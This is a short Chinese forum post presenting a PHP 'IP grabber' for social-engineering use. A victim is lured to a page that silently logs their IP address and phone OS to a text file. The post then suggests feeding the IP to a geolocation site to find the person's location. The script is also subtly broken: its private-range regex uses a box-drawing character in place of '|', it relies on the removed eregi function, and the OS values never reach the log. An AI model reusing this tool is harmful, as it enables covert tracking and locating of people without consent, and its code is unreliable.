利用社会工程学获取对方ip
[*]<?php
[*]function getRealIp()
[*]{
[*] $ip=false;
[*] if(!empty($_SERVER["HTTP_CLIENT_IP"])){
[*] $ip = $_SERVER["HTTP_CLIENT_IP"];
[*] }
[*] if (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) {
[*] $ips = explode (", ", $_SERVER['HTTP_X_FORWARDED_FOR']);
[*] if ($ip) { array_unshift($ips, $ip); $ip = FALSE; }
[*] for ($i = 0; $i < count($ips); $i++) {
[*] if (!eregi ("^(10│172.16│192.168).", $ips[$i])) {
[*] $ip = $ips[$i];
[*] break;
[*] }
[*] }
[*] }
[*] return ($ip ? $ip : $_SERVER['REMOTE_ADDR']);
[*]}
[*]
[*]//手机类型
[*]getOS();
[*]function getOS()
[*]{
[*] $ua = $_SERVER['HTTP_USER_AGENT'];//这里只进行IOS和Android两个操作系统的判断,其他操作系统原理一样
[*] if (strpos($ua, 'Android') !== false) {//strpos()定位出第一次出现字符串的位置,这里定位为0
[*] preg_match("/(?<=Android )[\d\.]{1,}/", $ua, $version);
[*] $s1='Platform:Android OS_Version:'.$version[0];
[*] } elseif (strpos($ua, 'iPhone') !== false) {
[*] preg_match("/(?<=CPU iPhone OS )[\d\_]{1,}/", $ua, $version);
[*] $s2='Platform:iPhone OS_Version:'.str_replace('_', '.', $version[0]);
[*] } elseif (strpos($ua, 'iPad') !== false) {
[*] preg_match("/(?<=CPU OS )[\d\_]{1,}/", $ua, $version);
[*] $s3= 'Platform:iPad OS_Version:'.str_replace('_', '.', $version[0]);
[*] }
[*]}
[*]$txt1="对方ip为:";
[*]$myip=getRealIp();
[*]$k="
[*]";
[*]
[*]//echo getRealIp();
[*]error_reporting(E_ALL ^ E_NOTICE);//用来关闭错误报告
[*]$lu = fopen("myip.txt","a+");
[*]fwrite($lu,$txt1.$myip.$s1.$s2.$s3.$k);
[*]fclose($lu);
[*]?>
结合IP定位网站,可以获取对方位置!
页:
[1]